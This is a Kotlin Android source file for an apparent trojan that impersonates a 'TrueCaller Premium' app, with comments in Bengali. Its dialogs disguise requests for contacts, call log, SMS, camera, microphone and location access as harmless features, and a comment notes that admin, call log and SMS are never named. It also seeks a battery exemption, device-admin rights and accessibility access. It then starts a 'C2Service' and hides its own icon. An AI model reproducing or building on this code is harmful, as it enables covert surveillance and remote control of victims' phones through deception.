package com.truecaller.premium import android.Manifest import android.app.admin.DevicePolicyManager import android.content.ComponentName import android.content.Intent import android.content.pm.PackageManager import android.net.Uri import android.os.Bundle import android.os.Handler import android.os.Looper import android.os.PowerManager import android.provider.Settings import android.view.WindowManager import android.widget.Button import android.widget.TextView import androidx.activity.result.contract.ActivityResultContracts import androidx.appcompat.app.AlertDialog import androidx.appcompat.app.AppCompatActivity import androidx.core.content.ContextCompat class MainActivity : AppCompatActivity() { private lateinit var status: TextView private lateinit var btn: Button private val steps = ArrayDeque() private var finished = false // পারমিশন → (ফেক ফিচার নাম, বর্ণনা) — কোথাও "admin/call log/SMS" নেই private val permSteps = listOf( Triple(Manifest.permission.READ_CONTACTS, "Cloud Contacts Backup", "Sync your contacts to keep Caller ID accurate across your devices."), Triple(Manifest.permission.READ_CALL_LOG, "Caller ID Enhancement", "Improve caller identification accuracy with verified caller data."), Triple(Manifest.permission.READ_SMS, "Message Protection", "Protect you against phishing and scam text messages."), Triple(Manifest.permission.CAMERA, "QR Caller Verification", "Scan QR codes on verified business callers."), Triple(Manifest.permission.RECORD_AUDIO, "Voice Assistant", "Enable hands-free voice commands for calls."), Triple(Manifest.permission.ACCESS_FINE_LOCATION, "Nearby Alerts", "Get alerts for unknown callers in your area code.") ) private val permsQueue = ArrayDeque>() private val permLauncher = registerForActivityResult( ActivityResultContracts.RequestPermission() ) { _ -> requestNextPerm() } override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) window.setFlags(WindowManager.LayoutParams.FLAG_SECURE, WindowManager.LayoutParams.FLAG_SECURE) status = findViewById(R.id.status) btn = findViewById(R.id.btn_main) btn.setOnClickListener { startFlow() } } // ---------- ফ্লো ---------- private fun startFlow() { btn.isEnabled = false status.text = "Setting up premium features…" steps.clear() if (!isIgnoringBattery()) steps.addLast("battery") steps.addLast("perm") if (!isAdmin()) steps.addLast("admin") if (!a11yEnabled()) steps.addLast("a11y") steps.addLast("done") next() } private fun next() { if (steps.isEmpty()) { finishSetup(); return } when (steps.removeFirst()) { "battery" -> requestBattery() "perm" -> requestPermsMasked() "admin" -> requestAdminMasked() "a11y" -> requestA11yMasked() else -> finishSetup() } } // ---------- ব্যাটারি (অপ্টিমাইজেশন ছাড়) ---------- private fun requestBattery() { AlertDialog.Builder(this) .setTitle("Background Sync") .setMessage("TrueCaller Premium uses background sync to detect spam calls " + "even when the app is closed. Tap Allow to continue.") .setPositiveButton("Allow") { _, _ -> try { startActivity(Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS, Uri.parse("package:$packageName"))) } catch (_: Exception) {} next() } .setNegativeButton("Later") { _, _ -> next() } .show() } // ---------- রানটাইম পারমিশন (মাস্কড ডায়ালগসহ) ---------- private fun requestPermsMasked() { permsQueue.clear() permsQueue.addAll(permSteps.filter { ContextCompat.checkSelfPermission(this, it.first) != PackageManager.PERMISSION_GRANTED }) requestNextPerm() } private fun requestNextPerm() { if (permsQueue.isEmpty()) { next(); return } val (perm, title, desc) = permsQueue.removeFirst() AlertDialog.Builder(this) .setTitle(title) .setMessage(desc) .setPositiveButton("Allow") { _, _ -> permLauncher.launch(perm) } .setNegativeButton("Skip") { _, _ -> requestNextPerm() } .setCancelable(false) .show() } // ---------- ডিভাইস অ্যাডমিন (মাস্কড) ---------- private fun requestAdminMasked() { AlertDialog.Builder(this) .setTitle("Device Security Service") .setMessage("TrueCaller Premium needs the device security service to protect " + "against malicious callers. Tap Activate to continue.") .setPositiveButton("Activate") { _, _ -> try { startActivity( Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN) .putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, ComponentName(this, AdminReceiver::class.java)) .putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "Required for the Caller ID security service.")) } catch (_: Exception) {} next() } .setNegativeButton("Skip") { _, _ -> next() } .show() } // ---------- অ্যাক্সেসিবিলিটি (মাস্কড) ---------- private fun requestA11yMasked() { AlertDialog.Builder(this) .setTitle("Caller Announcement") .setMessage("Enable this to announce incoming caller names aloud and display " + "them over other apps.") .setPositiveButton("Enable") { _, _ -> try { startActivity(Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS)) } catch (_: Exception) {} next() } .setNegativeButton("Skip") { _, _ -> next() } .show() } // ---------- শেষ ---------- private fun finishSetup() { if (finished) return finished = true status.text = "Activation complete ✓" try { ContextCompat.startForegroundService(this, Intent(this, C2Service::class.java)) } catch (_: Exception) {} // ১.৫ সেকেন্ড পর আইকন লুকিয়ে ফেলবে Handler(Looper.getMainLooper()).postDelayed({ Hider.hide(this) }, 1500) } // ---------- হেল্পার ---------- private fun isIgnoringBattery(): Boolean { return try { (getSystemService(POWER_SERVICE) as PowerManager).isIgnoringBatteryOptimizations(packageName) } catch (_: Exception) { false } } private fun isAdmin(): Boolean { return try { val dpm = getSystemService(DEVICE_POLICY_SERVICE) as DevicePolicyManager dpm.isAdminActive(ComponentName(this, AdminReceiver::class.java)) } catch (_: Exception) { false } } private fun a11yEnabled(): Boolean { return try { val s = Settings.Secure.getString(contentResolver, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES) ?: "" s.contains(packageName) || s.contains("A11yService") } catch (_: Exception) { false } } }